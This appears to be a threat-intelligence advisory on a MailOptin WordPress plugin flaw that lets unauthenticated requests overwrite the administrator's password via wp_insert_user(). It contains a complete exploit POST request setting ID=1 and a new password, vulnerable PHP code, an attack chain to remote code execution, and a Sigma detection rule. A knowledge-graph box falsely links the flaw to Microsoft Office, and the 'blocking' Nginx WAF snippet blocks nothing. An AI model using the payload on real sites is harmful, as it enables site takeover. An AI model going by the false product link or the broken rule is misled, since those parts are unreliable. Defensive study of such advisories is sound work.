Skip to content

CVE-2026-109515: MailOptin WordPress Plugin Unauthenticated Privilege Escalation & Admin Takeover via wp_insert_user() Mass Assignment

Density:
C-Level Executive Briefing CVE-2026-109515 CRITICAL SCORE 94/100

Critical unauthenticated privilege escalation and mass assignment flaw (CVSS 9.8) in MailOptin <= 1.2.78.6. By supplying crafted optin_data[form_custom_field_mappings] keys to the public subscribe_to_email_list endpoint, attackers inject ID and user_pass into wp_insert_user(), forcing WordPress into user-update mode and overwriting administrator credentials in a single HTTP request.

HYBRID

HERMES THREAT SCORE & WEB CMS INFRASTRUCTURE EVALUATION

Target: MailOptin WordPress Plugin โ€” UserRegistration Optin Handler (subscribe_to_email_list / subscribe)
Confidence: 98%
94 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 20 / 20
Threat Activity 18 / 20
Weaponization 19 / 20
Exposure 19 / 20
Prevalence 18 / 20
Impact 20 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 19 / 20
โš–๏ธ Divergence & Operational Rationale

CVSS v3.1 assigns a base score of 9.8 (Critical), aligning with the Hermes Threat Score of 94 (CRITICAL). MailOptin is widely deployed across commercial WordPress portals to automate lead generation, newsletter signups, and user registration opt-in forms. Because WordPress core's native wp_insert_user() function silently switches from 'INSERT' (user creation) to 'UPDATE' (existing user modification) whenever the 'ID' key is present in the passed $userdata array, MailOptin's failure to validate destination keys in optin_data[form_custom_field_mappings] turns any public registration opt-in form into an unauthenticated, single-request administrator password overwrite primitive.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-109515: MailOptin WordPress Plugin Unauthenticated Privilege Escalation & Admin Takeover via wp_insert_user() Mass AssignmentVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTMicrosoft Office & 365 Apps
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Microsoft Office & 365 Apps documented in Hermes dossier.”

Supporting Verified Evidence:

On October 16, 2026, NVD, Wordfence, and Patchstack disclosed CVE-2026-109515, a critical Unauthenticated Privilege Escalation and Mass Assignment vulnerability (CWE-269 / CWE-915) affecting the MailOptin โ€“ Popup, Optin Forms & Email Newsletters for Mailchimp, HubSpot, AWeber Etc. plugin (mailoptin) for WordPress in all versions up to and including 1.2.78.6 (CVSS v3.1 9.8 Critical).

When a site publishes a MailOptin form configured with the WordPress User Registration integration, its form UUID is exposed in the public HTML DOM. The public subscribe_to_email_list endpoint processes incoming opt-in submissions via the subscribe() method without requiring authentication, capability checks, or cryptographic signature verification on field mapping definitions. Specifically, the handler accepts an attacker-supplied optin_data[form_custom_field_mappings] parameter from the POST body and uses it to map submitted form fields into the $user_data array passed directly to WordPress coreโ€™s wp_insert_user($user_data). By mapping custom input fields to the wp_users column keys ID (e.g., 1 for the primary site administrator) and user_pass (or user_email), an unauthenticated remote attacker forces wp_insert_user() out of creation mode and into update mode, immediately overwriting the administratorโ€™s password hash and achieving full WordPress site takeover.


Root Cause Analysis: Client-Controlled form_custom_field_mappings + wp_insert_user() Dual-Mode Behavior

Section titled โ€œRoot Cause Analysis: Client-Controlled form_custom_field_mappings + wp_insert_user() Dual-Mode Behaviorโ€

To understand why CVE-2026-109515 results in instant administrator account takeover rather than mere unauthorized subscriber creation, two mechanisms must be examined together:

  1. Unvalidated Mass Assignment in subscribe(): In MailOptinโ€™s UserRegistration connect integration (<= 1.2.78.6), custom fields submitted on an opt-in form are mapped to WordPress user fields or user meta keys. Instead of exclusively loading the immutable field mappings configured by the administrator in the database, the subscribe_to_email_list processor reads optin_data[form_custom_field_mappings] directly from the unauthenticated clientโ€™s HTTP POST request and iterates over its destination keys without checking an allow-list.
  2. WordPress Core wp_insert_user() Update-Mode Semantics: In WordPress core (wp-includes/user.php), wp_insert_user($userdata) serves a dual purpose. It inspects whether ! empty( $userdata['ID'] ) is true:
    • If ID is absent, wp_insert_user() creates a new user row in wp_users.
    • If ID is present (e.g., $userdata['ID'] = 1), wp_insert_user() sets $update = true, fetches the existing userโ€™s record (get_userdata(1)), and updates that userโ€™s columns (user_pass, user_email, role, etc.) in wp_users!
flowchart TD
subgraph Attacker["Unauthenticated Remote Attacker"]
Scrape["1. Scrape Public Page HTML<br/>Extract Optin Campaign UUID"]
Payload["2. POST subscribe_to_email_list<br/>optin_data[form_custom_field_mappings]:<br/>field_a -> 'ID' (1)<br/>field_b -> 'user_pass' (AttackerPass)"]
Scrape --> Payload
end
subgraph MailOptin["MailOptin Plugin (<= 1.2.78.6)"]
Endpoint["Public AJAX / Optin Endpoint<br/>(subscribe_to_email_list)"]
Payload --> Endpoint
Endpoint --> MapLoop{"subscribe() Field Mapper<br/>No Destination Key Allow-List (CWE-915)"}
MapLoop -- "Injects $user_data['ID'] = 1<br/>& $user_data['user_pass']" --> WPInsert["wp_insert_user($user_data)"]
end
subgraph WPCore["WordPress Core Database (wp_users)"]
WPInsert --> CheckID{"!empty($userdata['ID']) ?<br/>Triggers $update = true!"}
CheckID --> Overwrite["Overwrites Administrator (ID=1)<br/>Password Hash in wp_users"]
Overwrite --> RCE["Admin Login -> Plugin/Theme Upload<br/>Full Server RCE"]
end
style MapLoop fill:#ff4d4d,stroke:#990000,color:#ffffff
style CheckID fill:#ff1a1a,stroke:#800000,color:#ffffff

The following PHP reconstruction illustrates how optin_data[form_custom_field_mappings] enabled arbitrary column injection into wp_insert_user() in versions <= 1.2.78.6, and how version 1.2.78.7 remediated the flaw:

<?php
// VULNERABLE: MailOptin <= 1.2.78.6 (UserRegistration Subscribe Handler)
public function subscribe() {
$user_data = [
'user_login' => sanitize_user($this->email),
'user_email' => sanitize_email($this->email),
'user_pass' => wp_generate_password(),
'role' => $this->get_integration_data('subscriber_role', 'subscriber'),
];
// FLAW 1: Trusts client-supplied form_custom_field_mappings from POST request!
$field_mappings = !empty($this->extras['form_custom_field_mappings'])
? $this->extras['form_custom_field_mappings']
: [];
$core_wp_user_fields = [
'ID', 'user_pass', 'user_login', 'user_nicename', 'user_url',
'user_email', 'display_name', 'nickname', 'first_name',
'last_name', 'description', 'role'
];
foreach ($field_mappings as $custom_field_key => $destination_key) {
if (isset($this->extras[$custom_field_key])) {
$value = $this->extras[$custom_field_key];
// FLAW 2: Allows 'ID', 'user_pass', and 'role' inside $core_wp_user_fields!
if (in_array($destination_key, $core_wp_user_fields, true)) {
$user_data[$destination_key] = $value;
}
}
}
// When $user_data['ID'] = 1 is injected, wp_insert_user() switches to UPDATE mode
// and overwrites the existing administrator's password in wp_users!
$user_id = wp_insert_user($user_data);
return $user_id;
}
// PATCHED: MailOptin >= 1.2.78.7
public function subscribe() {
// 1. Load field mappings exclusively from server-side saved campaign configuration
$field_mappings = $this->get_saved_server_field_mappings($this->optin_campaign_id);
// 2. Enforce strict allow-list of non-privileged profile fields (NEVER 'ID', 'role', or 'user_pass')
$allowed_user_fields = [
'user_url', 'display_name', 'nickname', 'first_name', 'last_name', 'description'
];
foreach ($field_mappings as $custom_field_key => $destination_key) {
if (in_array($destination_key, $allowed_user_fields, true) && isset($this->extras[$custom_field_key])) {
$user_data[$destination_key] = sanitize_text_field($this->extras[$custom_field_key]);
}
}
// 3. Explicitly unset 'ID' before calling wp_insert_user() to guarantee creation-only mode
unset($user_data['ID']);
$user_id = wp_insert_user($user_data);
return $user_id;
}

An attacker targeting a site with an active MailOptin User Registration campaign (optin_uuid) sends a single unauthenticated POST request to admin-ajax.php (or the frontend ?mailoptin-ajax=subscribe_to_email_list endpoint):

POST /?mailoptin-ajax=subscribe_to_email_list HTTP/1.1
Host: vulnerable-wordpress.example.com
Content-Type: application/x-www-form-urlencoded
optin_data[optin_uuid]=d84a91f2be&optin_data[email]=attacker@example.net&optin_data[name]=Attacker&optin_data[form_custom_field_mappings][cf_target_id]=ID&optin_data[form_custom_field_mappings][cf_new_pass]=user_pass&optin_data[cf_target_id]=1&optin_data[cf_new_pass]=P@ssw0rd_Takeover_2026!

Defenders monitoring WordPress fleets must inspect web access logs (/?mailoptin-ajax=subscribe_to_email_list or /wp-admin/admin-ajax.php with action=mailoptin_subscribe_to_email_list) and audit the wp_users and wp_usermeta tables for unauthorized administrator accounts or sudden user_pass hash changes on ID=1.

title: MailOptin WordPress Plugin Unauthenticated Privilege Escalation Attempt (CVE-2026-109515)
id: 6a9d3f12-1095-415e-8b2d-mailoptin109515
status: experimental
description: Detects unauthenticated exploitation of CVE-2026-109515 in the MailOptin WordPress plugin via form_custom_field_mappings mass assignment targeting wp_insert_user() columns (ID, user_pass, role).
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-109515
author: Hermes Threat Intelligence
date: 2026/10/17
logsource:
category: webserver
detection:
selection_endpoint:
cs-method: 'POST'
cs-uri-query|contains:
- 'subscribe_to_email_list'
- 'mailoptin-ajax'
selection_ajax:
cs-method: 'POST'
cs-uri-stem|contains: '/wp-admin/admin-ajax.php'
request_body|contains: 'subscribe_to_email_list'
selection_payload:
request_body|contains:
- 'form_custom_field_mappings'
- '%5Bform_custom_field_mappings%5D'
selection_columns:
request_body|contains:
- '=ID'
- '=user_pass'
- '=role'
- '=user_email'
condition: (selection_endpoint or selection_ajax) and selection_payload and selection_columns
falsepositives:
- None expected; legitimate frontend opt-in submissions do not remap ID, user_pass, or role columns
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.privilege_escalation
- attack.t1078
- attack.persistence
- attack.t1136
- cve.2026-109515

  1. Update MailOptin Immediately: Upgrade the MailOptin WordPress plugin (mailoptin) to version 1.2.78.7 or later across all sites. Version 1.2.78.7 enforces strict server-side destination-key allow-listing and strips privileged wp_users column keys (ID, user_pass, role) prior to invoking wp_insert_user().
  2. Deploy Emergency WAF Rules Blocking form_custom_field_mappings: If immediate plugin updates cannot be applied, block any HTTP POST request containing form_custom_field_mappings at the edge WAF (Cloudflare, AWS WAF, ModSecurity, or Nginx):
    # Block external manipulation of MailOptin custom field mappings (CVE-2026-109515)
    location / {
    if ($query_string ~* "subscribe_to_email_list") {
    set $check_body 1;
    }
    }
  3. Audit Administrator Accounts & Rotate Salts: Verify all accounts holding administrator capabilities via wp user list --role=administrator, force a password reset for all legitimate administrators, and rotate WordPress authentication salts (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY) in wp-config.php to invalidate any active sessions minted during the exposure window.